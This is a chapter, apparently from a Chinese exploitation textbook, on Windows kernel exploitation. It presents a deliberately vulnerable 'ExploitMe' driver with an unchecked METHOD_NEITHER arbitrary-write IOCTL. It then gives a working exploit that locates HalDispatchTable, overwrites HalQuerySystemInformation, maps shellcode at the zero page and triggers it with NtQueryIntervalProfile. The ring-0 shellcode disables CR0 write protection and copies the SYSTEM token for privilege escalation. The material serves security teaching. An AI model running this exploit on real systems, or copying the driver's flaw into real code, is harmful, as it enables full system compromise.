0day安全｜22 内核漏洞利用技术

#include <ntddk.h>
#define DEVICE_NAME L"\\Device\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\ExploitMe"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(\
    FILE_DEVICE_EXPLOIT_ME, 0x800, METHOD_NEITHER, FILE_WRITE_ACCESS)

PDEVICE_OBJECT g_DeviceObject;

// 驱动卸载函数
VOID DriverUnload(IN PDRIVER_OBJECT  driverObject )
{
    UNICODE_STRING symLinkName; 
	KdPrint(("DriverUnload: 88!\n"));
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	IoDeleteSymbolicLink(&symLinkName);
	IoDeleteDevice( g_DeviceObject ); 
}
// 驱动派遣例程函数
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{ 
    PIO_STACK_LOCATION pIrpStack;
    PVOID Type3InputBuffer; // 用户态输入
    PVOID UserBuffer; // 用户态输出
    ULONG inputBufferLength;
    ULONG outputBufferLength;
    ULONG ioControlCode;
    PIO_STATUS_BLOCK IoStatus;
    NTSTATUS ntStatus = STATUS_SUCCESS;
    
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
	UserBuffer = pIrp->UserBuffer;
	inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; 
	outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; 
	ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	IoStatus = &pIrp->IoStatus;
	IoStatus->Status = STATUS_SUCCESS; // Assume success
	IoStatus->Information = 0; // Assume nothing returned

	switch(ioControlCode){
	case IOCTL_EXPLOIT_ME: 
		if ( inputBufferLength >= 4 && outputBufferLength >= 4 ){
			*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
			IoStatus->Information = sizeof(ULONG);
		}
		break;
	}
	
	IoStatus->Status = ntStatus; 
	IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	return ntStatus;
}
// 驱动入口函数
NTSTATUS DriverEntry( IN PDRIVER_OBJECT  driverObject, IN PUNICODE_STRING  registryPath )
{ 
	NTSTATUS       ntStatus;
	UNICODE_STRING devName;
	UNICODE_STRING symLinkName;
	int i = 0; 
	// 打印hello world
	KdPrint(("DriverEntry: Exploit me driver demo!\n"));
	// 创建设备
	RtlInitUnicodeString(&devName,DEVICE_NAME);
	ntStatus = IoCreateDevice( driverObject,
		0,
		&devName,
		FILE_DEVICE_UNKNOWN,
		0, TRUE,
		&g_DeviceObject );
	if (!NT_SUCCESS(ntStatus))
	{
    	IoDeleteDevice(g_DeviceObject);
		return ntStatus;  
	}
	// 设置卸载函数
	driverObject->DriverUnload = DriverUnload;
	// 创建符号链接
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
	if (!NT_SUCCESS(ntStatus)) 
	{
		IoDeleteDevice( g_DeviceObject );
		return ntStatus;
	}
	// 设置该驱动对象的派遣例程函数
	for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
	{
		driverObject->MajorFunction[i] = DrvDispatch;
	}
	
	return STATUS_SUCCESS;
}

typedef struct {
	ULONG Version;
	pHalQuerySystemInformation HalQuerySystemInformation;
	pHalSetSystemInformation HalSetSystemInformation;
	pHalQueryBusSlots HalQueryBusSlots;
	ULONG Spare1;
	pHalExamineMBR HalExamineMBR;
#if 1 /* Not present in WDK 7600 */
	pHalIoAssignDriveLetters HalIoAssignDriveLetters;
#endif
	pHalIoReadPartitionTable HalIoReadPartitionTable;
	pHalIoSetPartitionInformation HalIoSetPartitionInformation;
	pHalIoWritePartitionTable HalIoWritePartitionTable;
	pHalHandlerForBus HalReferenceHandlerForBus;
	pHalReferenceBusHandler HalReferenceBusHandler;
	pHalReferenceBusHandler HalDereferenceBusHandler;
	pHalInitPnpDriver HalInitPnpDriver;
	pHalInitPowerManagement HalInitPowerManagement;
	pHalGetDmaAdapter HalGetDmaAdapter;
	pHalGetInterruptTranslator HalGetInterruptTranslator;
	pHalStartMirroring HalStartMirroring;
	pHalEndMirroring HalEndMirroring;
	pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
	pHalEndOfBoot HalEndOfBoot;
	pHalMirrorVerify HalMirrorVerify;
	pHalGetAcpiTable HalGetCachedAcpiTable;
	pHalSetPciErrorHandlerCallback  HalSetPciErrorHandlerCallback;
#if defined(_IA64_)
pHalGetErrorCapList HalGetErrorCapList;
	pHalInjectError HalInjectError;
#endif
} HAL_DISPATCH, *PHAL_DISPATCH;

NTSTATUS
NTAPI
NtQueryIntervalProfile(IN KPROFILE_SOURCE ProfileSource,
                       OUT PULONG Interval)
{
    KPROCESSOR_MODE PreviousMode = ExGetPreviousMode();
    ULONG ReturnInterval;
    NTSTATUS Status = STATUS_SUCCESS;
    PAGED_CODE();
    // ...
    /* Query the Interval */
    ReturnInterval = (ULONG)KeQueryIntervalProfile(ProfileSource);
    // ...
    /* Return Success */
    return Status;
}

ULONG
NTAPI
KeQueryIntervalProfile(IN KPROFILE_SOURCE ProfileSource)
{
    HAL_PROFILE_SOURCE_INFORMATION ProfileSourceInformation;
    ULONG ReturnLength, Interval;
    NTSTATUS Status;

    /* Check what profile this is */
    if (ProfileSource == ProfileTime)
    {
        /* Return the time interval */
        Interval = KiProfileTimeInterval;
    }
    else if (ProfileSource == ProfileAlignmentFixup)
    {
        /* Return the alignment interval */
        Interval = KiProfileAlignmentFixupInterval;
    }
    else
    {
        /* Request it from HAL */
        ProfileSourceInformation.Source = ProfileSource;
        Status = HalQuerySystemInformation(HalProfileSourceInformation,
                                           sizeof(HAL_PROFILE_SOURCE_INFORMATION),
                                           &ProfileSourceInformation,
                                           &ReturnLength);
        // ...
    }

    /* Return the interval we got */
    return Interval;
}

	// 获取内核模块列表数据长度到ReturnLength
	NtStatus = NtQuerySystemInformation(
		SystemModuleInformation,
		ModuleInformation,
		ReturnLength,
		&ReturnLength);
	if(NtStatus != STATUS_INFO_LENGTH_MISMATCH){
		printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus); 
		goto ret;
	}

	// 申请内存
	ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
	ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
	if(ModuleInformation == NULL){
		printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength); 
		goto ret;
	}

	// 获取内核模块列表数据
	NtStatus = NtQuerySystemInformation(
		SystemModuleInformation,
		ModuleInformation,
		ReturnLength,
		NULL);
	if(NtStatus != STATUS_SUCCESS){
		printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus); 
		goto ret;
	}
				
	// 保存内核第一个模块（即nt模块）基址和名称，并打印
	ImageBase = (ULONG)(ModuleInformation->Module[0].Base);
	RtlMoveMemory(
		ImageName,
		(PVOID)(ModuleInformation->Module[0].ImageName +
		ModuleInformation->Module[0].PathLength),
		KERNEL_NAME_LENGTH);
	printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase,	ImageName);
	
	// 获取内核模块名称字符串的Unicode字符串
	RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);

	// 加载内核模块到本进程空间
	NtStatus = LdrLoadDll(
		NULL,                // DllPath
		&DllCharacteristics, // DllCharacteristics
		&DllName,            // DllName
		&MappedBase);        // DllHandle
	if(NtStatus){
		printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus);    
		goto ret;
	}

	// 获取内核模块在本进程空间中导出名称HalDispatchTable的地址
	RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
	NtStatus = LdrGetProcedureAddress(
		(PVOID)MappedBase,          // DllHandle
		&ProcedureName,             // ProcedureName
		0,                          // ProcedureNumber OPTIONAL
		(PVOID*)&HalDispatchTable); // ProcedureAddress
	if(NtStatus){
		printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus);    
		goto ret;
	}

	// 计算实际的HalDispatchTable内核地址
	HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
	HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase);

	// HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
	xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));

	// 打印HalDispatchTable内核地址和xHalQuerySystemInformation值
	printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n",
		HalDispatchTable,
		xHalQuerySystemInformation);

int g_isRing0ShellcodeCalled = 0;
// Ring0中执行的Shellcode
NTSTATUS Ring0ShellCode(    
						ULONG InformationClass,
						ULONG BufferSize,
						PVOID Buffer,
						PULONG ReturnedLength)
{
	// 关闭写保护
	__asm
	{
		cli;
		mov eax, cr0;
		// mov g_uCr0,eax; 
		and eax,0xFFFEFFFF; 
		mov cr0, eax; 
	}
	// [content] start
	__asm
	{
		mov eax, 0xffdff124 // eax = KPCR (not 3G Mode)
		mov eax, [eax] // eax = PETHREAD of current thread
		mov esi, [eax + 0x220] // eax = PEPROCESS of the process, to which the current thread belongs
		mov eax, esi
searchXp:
		mov eax, [eax + 0x88]
		sub eax, 0x88 // eax = PEPROCESS of the next process in process-list
		mov edx, [eax + 0x84] // edx = PID
		cmp edx, 0x4 // use PID to find the System process
		jne searchXp
		mov eax, [eax + 0xc8] // eax = token of SYSTEM process
		mov [esi + 0xc8], eax // change token of current process
	}
	// [content] end
	// 开启写保护
	__asm
	{
		sti;
		mov eax, cr0;
		or eax,0x00010000; 
		mov cr0, eax; 
	}
	g_isRing0ShellcodeCalled = 1;
	return 0;
}

	// 在本进程空间申请0地址内存
	ShellCodeAddress = (PVOID)sizeof(ULONG);
	NtStatus = NtAllocateVirtualMemory(
		NtCurrentProcess(),      // ProcessHandle
		&ShellCodeAddress,       // BaseAddress
		0,                       // ZeroBits
		&ShellCodeSize,          // AllocationSize
		MEM_RESERVE | 
		MEM_COMMIT |
		MEM_TOP_DOWN,            // AllocationType
		PAGE_EXECUTE_READWRITE); // Protect
	if(NtStatus){
		printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus);    
		goto ret;
	}
	printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress); 
	// 复制Ring0ShellCode到0地址内存中
	RtlMoveMemory(
		ShellCodeAddress,
		(PVOID)Ring0ShellCode,
		ShellCodeSize);

	// 设备名称的Unicode字符串
	RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
	// 打开ExploitMe设备
	// ...
	NtStatus = NtCreateFile(
		&DeviceHandle,     // FileHandle
		FILE_READ_DATA |
		FILE_WRITE_DATA,   // DesiredAccess
		&ObjectAttributes, // ObjectAttributes
		&IoStatusBlock,    // IoStatusBlock
		NULL,              // AllocationSize OPTIONAL
		0,                 // FileAttributes
		FILE_SHARE_READ |
		FILE_SHARE_WRITE, // ShareAccess
		FILE_OPEN_IF,     // CreateDisposition
		0,                // CreateOptions
		NULL,             // EaBuffer OPTIONAL
		0);               // EaLength
	if(NtStatus){
		printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}
	// 利用漏洞将HalQuerySystemInformation函数地址改为0
	InputData = 0;
	NtStatus = NtDeviceIoControlFile(
		DeviceHandle,         // FileHandle
		NULL,                 // Event
		NULL,                 // ApcRoutine
		NULL,                 // ApcContext
		&IoStatusBlock,       // IoStatusBlock
		IOCTL_METHOD_NEITHER, // IoControlCode
		&InputData,           // InputBuffer
		BUFFER_LENGTH,        // InputBufferLength
		xHalQuerySystemInformation, // OutputBuffer
		BUFFER_LENGTH);       // OutBufferLength
	if(NtStatus){
		printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	} 

	// 触发漏洞
	NtStatus = NtQueryIntervalProfile(
		ProfileTotalIssues, // Source
		NULL);              // Interval
	if(NtStatus){
		printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}
	printf("NtQueryIntervalProfile succeed!\n");
	if(g_isRing0ShellcodeCalled == 1)
		printf("Shellcode executed.\n");